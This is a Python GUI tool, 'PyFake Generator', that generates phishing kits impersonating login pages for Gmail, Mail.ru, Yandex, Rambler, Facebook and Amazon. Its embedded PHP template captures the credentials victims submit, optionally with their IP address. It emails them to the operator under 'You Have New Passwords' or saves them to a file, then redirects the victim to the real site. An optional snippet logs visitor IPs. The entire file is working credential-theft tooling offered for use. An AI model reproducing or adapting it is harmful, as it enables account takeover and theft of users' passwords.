from tkinter import *

def Generator(Target,username,password):
    def MKFls(TargetName,ifis,Filet,username,password):
        loginT="""<?php
        //Made By Swordf1sh

        $BASE="%s";\n
        $IS_EMAIL=%s;\n
        $LOCATION="http://%s";\n

        $p0=$_REQUEST["%s"];\n
        $p1=$_REQUEST["%s"];\n
        $ip = ""%s"";\n
        $headers = "Content-type: text/html; charset=windows-1251\r";\n
        $headers .= "From: bot <$BASE>\r";\n
        $headers .= "Bcc: $BASE\r";\n
        $info="$p0:$p1:$ip";\n
        if ($IS_EMAIL){\n
        mail($BASE, "*** You Have New Passwords", $headers.$info);\n
        } else {\n
        $fd=fopen($BASE,"a+");\n
        fwrite($fd,$info);\n
        fclose($fd);\n
        }\n

        header("Location:$LOCATION");\n
        ?>\n""" % (Filet,ifis,TargetName,username,password,Methodip.get())
        import os
        import shutil
        if not os.path.exists(TargetName):
            os.makedirs(TargetName)
        shutil.copy2('Signatures/%s.dll' % TargetName, '%s/' % TargetName)
        os.rename('%s/%s.dll' % (TargetName,TargetName), '%s/index.php' % TargetName)
        flogin=open(('%s/login.php' % TargetName),'w')
        flogin.write(loginT)
        flogin.close()
        if Method.get()=='false':
            flogger=open('%s/%s' % (TargetName,Filet),'w')
            flogger.write('Here Will Be Passwords\n')
            flogger.close()
        phpt="""
        <?php
        //Made By Swordf1sh
        $file = "logger.txt";
        $write = "".$_SERVER['REMOTE_ADDR']."|--|";
        $open = fopen($file, 'a');
        fwrite($open, $write);
        ?>
        """
        if MethodLG.get()=="true":
            oplogger=open('%s/logger.txt' % TargetName,'w')
            oplogger.close()
            opsignature=open('%s/index.php' % TargetName,'a')
            opsignature.write(phpt)
            opsignature.close()

        def QloseW():
            SuccessW.destroy()
            WGenerator.destroy()
        SuccessW=Toplevel(WGenerator)
        SuccessW.title('Success')
        SuccessW.resizable(0,0)
        em1=LabelFrame(SuccessW,width=20,height=20,bd=0)
        em2=LabelFrame(SuccessW,width=20,height=20,bd=0)
        SucT=Label(SuccessW,text='Success!!!')
        SucE=Button(SuccessW,text='Close',command=QloseW)
        em1.grid(row=0,column=0)
        SucT.grid(row=1,column=1)
        SucE.grid(row=2,column=1)
        em2.grid(row=3,column=2)

    def CHTXT(txt):
        Textsnd.configure(text=txt)

    WGenerator=Toplevel(Window)
    WGenerator.title('%s Fake Generator' % Target)
    WGenerator.resizable(0,0)

    Method=StringVar()
    Method.set('false')
    RadT=Radiobutton(WGenerator,text='Save Passwords in File',variable=Method,value='false',indicatoron=0,command=lambda: CHTXT('File Name ->'))
    RadF=Radiobutton(WGenerator,text='Send Passwords to Email',variable=Method,value='true',indicatoron=0,command=lambda: CHTXT('Email Adress ->'))
    Empt6=LabelFrame(WGenerator,width=1,height=20)
    IPLab=Label(WGenerator,text='Save IP Adress?')
    Methodip=StringVar()
    Methodip.set(".$_SERVER['REMOTE_ADDR'].")
    RadIpT=Radiobutton(WGenerator,text='Yes',variable=Methodip,indicatoron=0,value=".$_SERVER['REMOTE_ADDR'].")
    RadIpF=Radiobutton(WGenerator,text='No',variable=Methodip,indicatoron=0,value="")
    Empt7=LabelFrame(WGenerator,width=1,height=20)
    LGLab=Label(WGenerator,text='Create logger.txt')
    MethodLG=StringVar()
    MethodLG.set("true")
    RadLGT=Radiobutton(WGenerator,text='Yes',variable=MethodLG,indicatoron=0,value="true")
    RadLGF=Radiobutton(WGenerator,text='No',variable=MethodLG,indicatoron=0,value="false")
    Empt3=LabelFrame(WGenerator,width=25,height=25,bd=0)
    Empt4=LabelFrame(WGenerator,width=25,height=25,bd=0)
    Textsnd=Label(WGenerator,text='File Name ->')
    FileName=Entry(WGenerator,width=25)
    Empt5=LabelFrame(WGenerator,width=18,height=10,bd=0)
    Empt7=LabelFrame(WGenerator,width=25,height=1,bd=0)
    SaveB=Button(WGenerator,text='Generate',bd=0.5,width=12,height=15,command=lambda: MKFls(Target,Method.get(),FileName.get(),username,password))
    Empt3.grid(row=0,column=0)
    RadT.grid(row=1,column=1)
    RadF.grid(row=1,column=2,columnspan=2)
    Empt7.grid(row=1,column=4)
    SaveB.grid(row=1,column=5,rowspan=6)
    Textsnd.grid(row=2,column=1,sticky='w')
    FileName.grid(row=2,column=2,columnspan=2)
    Empt6.grid(row=3,column=1,columnspan=7)
    IPLab.grid(row=4,column=1,sticky='w')
    RadIpT.grid(row=4,column=2,sticky='w')
    RadIpF.grid(row=4,column=3,sticky='w')
    LGLab.grid(row=6,column=1,sticky='w')
    RadLGT.grid(row=6,column=2,sticky='w')
    RadLGF.grid(row=6,column=3,sticky='w')
    Empt4.grid(row=7,column=6)
    Empt5.grid(row=1,column=3,rowspan=2)


Window=Tk()
Window.title('PyFake Generator REV:120624')
Window.resizable(0,0)

ButGmail=Button(Window,text='Gmail.com',width=20,bd=0.5,command=lambda: Generator('Gmail.com','Email','Passwd'))
ButMailru=Button(Window,text='Mail.ru',width=20,bd=0.5,command=lambda: Generator('Mail.ru','Login','Password'))
ButYandex=Button(Window,text='Yandex.ru',width=20,bd=0.5,command=lambda: Generator('Yandex.ru','login','passwd'))
ButRambler=Button(Window,text='Rambler.ru',width=20,bd=0.5,command=lambda: Generator('Rambler.ru','login','password'))
ButFacebook=Button(Window,text='Facebook.com',width=20,bd=0.5,command=lambda: Generator('Facebook.com','email','pass'))
ButAmazon=Button(Window,text='Amazon.com',width=20,bd=0.5,command=lambda: Generator('Amazon.com','ap_email','ap_password'))
Empt1=LabelFrame(Window,width=30,height=30,bd=0)
Empt2=LabelFrame(Window,width=30,height=30,bd=0)

Empt1.grid(row=0,column=0,sticky='nswe')
Empt2.grid(row=4,column=4,sticky='nswe')
ButGmail.grid(row=1,column=1,sticky='nswe')
ButMailru.grid(row=1,column=2,sticky='nswe')
ButYandex.grid(row=2,column=1,sticky='nswe')
ButRambler.grid(row=2,column=2,sticky='nswe')
ButFacebook.grid(row=3,column=1,sticky='nswe')
ButAmazon.grid(row=3,column=2,sticky='nswe')

Window.mainloop()